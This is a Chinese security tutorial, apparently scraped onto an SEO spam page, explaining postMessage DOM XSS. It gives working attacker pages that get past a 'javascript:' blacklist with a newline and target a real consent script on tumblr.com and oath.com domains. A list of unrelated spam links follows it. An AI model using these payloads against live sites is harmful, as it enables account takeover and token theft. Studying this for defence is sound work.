当前位置: 首页 > news >正文

烟台海阳市专业做网站邮箱qq登录入口

烟台海阳市专业做网站,邮箱qq登录入口,html网站的直播怎么做,牡丹江建设工程信息网站未经许可#xff0c;不得转载。 文章目录 前言示例正文 前言 PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口#xff08;例如#xff0c;来自同一域名下的不同页面或者不同域名下的跨域页面#xff09;进行通信#xff0c;而无需通过服务器… 未经许可不得转载。 文章目录 前言示例正文 前言 PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口例如来自同一域名下的不同页面或者不同域名下的跨域页面进行通信而无需通过服务器。通常情况下它用于实现跨文档消息传递Cross-Document Messaging这在一些复杂的网页应用和浏览器插件中非常有用。 示例 在深入学习本文前通过父子窗口间的消息传递示例代码浏览器回显带领读者了解必要的知识。 1、send.html通过 postMessage 函数向receive.html发送消息 !--send.html-- !DOCTYPE html html headtitle发送界面/titlemeta charsetutf-8 /scriptfunction openChild() {child window.open(receive.html, popup, height300px, width300px);}function sendMessage() {//发送的数据内容let msg { content: 玲珑安全漏洞挖掘培训vx: bc52013 };//发送消息到任意目标源child.postMessage(msg, *);}/script /head bodyinput typebutton idbtnopen value打开子窗口 onclickopenChild(); /input typebutton idbtnSendMsg value发送消息 onclicksendMessage(); / /body /html2、receive.html通过监听 message 事件来输出收到的消息 !--receive.html-- !DOCTYPE html html headtitle接收界面/titlemeta charsetutf-8 /script//添加事件监控消息window.addEventListener(message, (event) {let txt document.getElementById(msg);//接收传输过来的变量数据txt.value 接收到的消息为${event.data.content};});/script /head bodyh1接收界面子窗口/h1input typetext idmsg stylewidth: 400px; height: 50px;/ /body /html3、在send.html点击打开子窗口后弹出子窗口 4、点击发送消息后接收界面收到并且打印消息内容**“玲珑安全漏洞挖掘培训vx: bc52013”** 如上通过PostMessage实现了父子窗口间的消息传递。 然而若代码书写不规范将导致安全问题。 1、数据伪造 由于receive.html没有设置信任源因此任意页面都可向该页面发送数据导致数据伪造。 !--数据伪造.html-- !DOCTYPE html html headtitle数据伪造界面/titlemeta charsetutf-8 /scriptfunction openChild() {child window.open(receive.html, popup, height300px, width300px);}function sendMessage() {//发送的数据内容let msg { content: ICE };//发送消息到任意目标源child.postMessage(msg, *);}/script /head bodyinput typebutton idbtnopen value打开子窗口 onclickopenChild(); /input typebutton idbtnSendMsg value发送消息 onclicksendMessage(); / /body /html如图接收方本应接收到的消息为 而在数据伪造界面打开子窗口并发送消息后接收界面接收到伪造数据 2、XSS 当发送参数可控且接收方处理不当时将导致DOM XSS 例如受害方接收一个可控的URL参数 !--受害方.html-- !DOCTYPE html html headtitle受害方界面/titlemeta charsetutf-8 /script//添加事件监控消息window.addEventListener(message, (event) {location.href${event.data.url};});/script /head bodyh1受害方界面子窗口/h1 /body /html于是可以构造恶意请求实现XSS !--攻击方实现XSS.html-- !DOCTYPE html html headtitle攻击方实现XSS界面/titlemeta charsetutf-8 /scriptfunction openChild() {child window.open(受害方.html, popup, height300px, width300px);}function sendMessage() {//发送的数据内容let msg { url:javascript:alert(玲珑安全漏洞挖掘培训) };//发送消息到任意目标源child.postMessage(msg, *);}/script /head bodyinput typebutton idbtnopen value打开子窗口 onclickopenChild(); /input typebutton idbtnSendMsg value发送消息 onclicksendMessage(); / /body /html在攻击方界面打开子窗口 点击发送消息后受害方执行JS代码 同时当页面中不包含X-Frame-Options标头时还可利用 iframe标签嵌套受害方页面并传递可控参数以执行JS代码 !-- 攻击方: hacker.html -- !DOCTYPE html html headtitleXSS-iframe/title /headbodyiframe nameattack srchttp://127.0.0.1/user.html onloadxss()/iframe /bodyscript typetext/javascriptvar iframe window.frames.attack;function xss() {let msg {url: javascript:alert(document.domain)};iframe.postMessage(msg, *);} /script /html攻击效果如图 漏洞危害如下 i窃取用户敏感数据个人数据、消息等 ii窃取 CSRF 令牌并以用户的名义执行恶意操作 iii窃取账户凭证并接管用户账户 修复缓解方案 1、发送方应验证目标源确保消息只能被预期的接收方处理 接收方应使用指定的信任域 此时点击发送消息后受害方界面不再执行弹窗因为攻击方指定的目标源是https协议而受害方仅指定http://127.0.0.1为信任源 当攻击方页面指定127.0.0.1的http协议时由于攻击方页面与受害者页面均在该服务器上因此能够实现XSS 正文 进入tumblr.com在cmpStub.min.js文件中存在如下函数其不检查 postMessage 的来源 !function() {var e !1;function t(e) {var t string typeof e.data, n e.data;if (t)try {n JSON.parse(e.data)} catch (e) {}if (n n.__cmpCall) {var r n.__cmpCall;window.__cmp(r.command, r.parameter, function(n, o) {var a {__cmpReturn: {returnValue: n,success: o,callId: r.callId}};e e.source e.source.postMessage(t ? JSON.stringify(a) : a, *)//不检查来源为后续测试提供可能性})}}主要含义接收并解析 JSON 数据 (e.data)将其转换为 JavaScript 对象 (n)执行 __cmpCall 中指定的命令和参数并将执行结果封装成返回对象 a最后通过 postMessage 方法将处理结果发送回消息来源。 跟进__cmp() 函数看看应用程序对数据进行了何种处理 if (e)return {init: function(e) {if (!l.a.isInitialized())if ((p e || {}).uiCustomParams p.uiCustomParams || {},p.uiUrl || p.organizationId)if (c.a.isSafeUrl(p.uiUrl)) {p.gdprAppliesGlobally (l.a.setGdprAppliesGlobally(!0),g.setGdpr(S),g.setPublisherId(p.organizationId)),(t p.sharedConsentDomain) r.a.init(t),s.a.setCookieDomain(p.cookieDomain);var n s.a.getGdprApplies();!0 n ? (p.gdprAppliesGlobally || g.setGdpr(C),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : !1 n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {n || (e !0),s.a.setIsUserInEU(e),e ? (g.setGdpr(L),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : l.a.initializationComplete()})} elsec.a.logMessage(error, CMP Error: Invalid config value for (uiUrl). Valid format is http[s]://example.com/path/to/cmpui.html); // (...)可以看出c.a.isSafeUrl(p.uiUrl))为真才将继续执行。 跟进isSafeUrl函数 isSafeUrl: function(e) {return -1 (e (e || ).replace( ,)).toLowerCase().indexOf(javascript:)},若p.uiUrl即e中存在javascript则返回假。 所以这里是为了防止JS代码执行而通常使用黑名单的防护方式是容易被绕过的。 那么传入的p.uiUrl参数后续会经过什么处理呢 在上面的代码中还存在该行代码 e ? l.a.initializationComplete() : b(l.a.initializationComplete)跟进b()函数 b function(e) {g.markConsentRenderStartTime();var n p.uiUrl ? i.a : a.a;l.a.isInitialized() ? l.a.getConsentString(function(t, o) {p.consentString t,n.renderConsents(p, function(n, t) {g.setType(C).setGdprConsent(n).fire(),w(n),function typeof e e(n, t)})}) : n.renderConsents(p, function(n, t) {g.setType(C).setGdprConsent(n).fire(),w(n),function typeof e e(n, t)})再跟进关键的renderConsents() 函数 renderConsents: function(n, p) {if ((t n || {}).siteDomain window.location.origin,r t.uiUrl) {if (p u.push(p),!document.getElementById(cmp-container-id)) {(i document.createElement(div)).id cmp-container-id,i.style.position fixed,i.style.background rgba(0,0,0,.5),i.style.top 0,i.style.right 0,i.style.bottom 0,i.style.left 0,i.style.zIndex 1e4,document.body.appendChild(i),(a document.createElement(iframe)).style.position fixed,a.src r,a.id cmp-ui-iframe,a.width 0,a.height 0,a.style.display block,a.style.border 0,i.style.zIndex 10001,l(),可以看到该函数将创建iframe元素而该元素的src属性就是我们可控的p.uiUrl。 综上所述整体流程如下 传入的数据进入cmp()函数处理 - 处理时执行issafeurl函数判断数据是否合法 - 若合法则执行renderConsents()函数构造iframe 知悉参数从传递到处理的流程后就可以构造Payload了。 现在的目的是绕过isSafeUrl函数而恰好JavaScript 在处理字符串时会忽略掉换行符、制表符等空白字符无害脏数据 因此依据__cmp() 函数以JSON形式构造Payload如下 {__cmpCall: {command: init,parameter: {uiUrl: ja\nvascript:alert(document.domain),uiCustomParams: ice,organizationId: ice,gdprAppliesGlobally: ice}} }使用iframe嵌套受攻击页面 htmlbodyscriptwindow.setInterval(function(e) {try {window.frames[0].postMessage({\__cmpCall\:{\command\:\init\,\parameter\:{\uiUrl\:\ja\\nvascript:alert(document.domain)\,\uiCustomParams\:\ice\,\organizationId\:\ice\,\gdprAppliesGlobally\:\ice\}}}, *);} catch(e) {}}, 100);/scriptiframe srchttps://consent.cmp.oath.com/tools/demoPage.html/iframe/body /html成功实现XSS 以上是页面中不包含X-Frame-Options标头的情况导致我们能嵌套受攻击页面。 若页面中包含X-Frame-Options 标头则我们不能嵌套受攻击页面。这种情况下可通过 window.opener 实现两个浏览器选项卡之间的连接再发送 postMessage 消息实现XSS。 在tumblr.com页面存在X-Frame-Options标头但也含有cmpStub.min.js文件的情况下攻击代码如下所示 html body script function e() {window.setTimeout(function() {window.location.href https://www.tumblr.com/embed/post/;}, 500); } window.setInterval(function(e) {try {window.opener.postMessage({\__cmpCall\:{\command\:\init\,\parameter\:{\uiUrl\:\ja\\nvascript:alert(document.domain)\,\uiCustomParams\:\ice\,\organizationId\:\ice\,\gdprAppliesGlobally\:\ice\}}},*);} catch(e) {} }, 100); /scripta onclicke() href/tumblr.html target_blankClick me/a /body /html成功实现XSS 参考链接 https://www.cnblogs.com/piaomiaohongchen/p/18305112 https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/
http://www.dnsts.com.cn/news/167982.html

相关文章:

  • 卡地亚手表官方网站怎么做属于自己的免费网站
  • 请人用wordpress建站假期广告设计公司起名字
  • 网站建设品牌营销网站开发需要多少钱
  • 吉林北京网站建设移动端网站开发项目报告
  • 自助手机建站系统有服务器数据库怎么安装wordpress
  • 深圳网站设计(深圳信科)网络推广公司有多少家
  • 企业网站优化的方式网站怎样做才能有点击率
  • 杭州 seo网站建设 网络服务wordpress如何使用父导航可点击
  • 唐山哪里建设网站好公司销售管理系统
  • 网站服务器购买价格腾讯云搭建单窗口单ip
  • 公司建设网站的步骤搭建网站怎么挣钱
  • 千图网素材下载网站好友介绍网站怎么做
  • 直播网站的建设深圳福田建设局网站首页
  • 安徽网站关键字优化域名备案信息查询官网
  • 百元做网站白云网站建设
  • 婚庆公司网站建设得多少钱昆明网站
  • 微网站平台专业建站公司推荐
  • 做刷单网站违法吗建立网站专业公司
  • 企业网站如何找词价格合理的网站建设
  • 专业的销售网站网站建设开发设计营销公司厦门
  • 网页制作与网站建设 在线作业备案网站名怎么写
  • 常见的站内推广方式有哪几种网页制作多少钱一个月
  • datadata.asp 网站 破解建自己的个人网站
  • 网站推广临沂seo基础知识培训
  • 单页网站系统百度aipage智能建站系统
  • 网站备案 互联网信息查询网站产品原型图
  • 建设小说网站费用做佣金单网站
  • 网站建好了怎么做才赚钱wordpress可视编辑器
  • 目前最流行网站开发软件网站注册协议
  • 做公众号推送的网站哪个网站可以做图片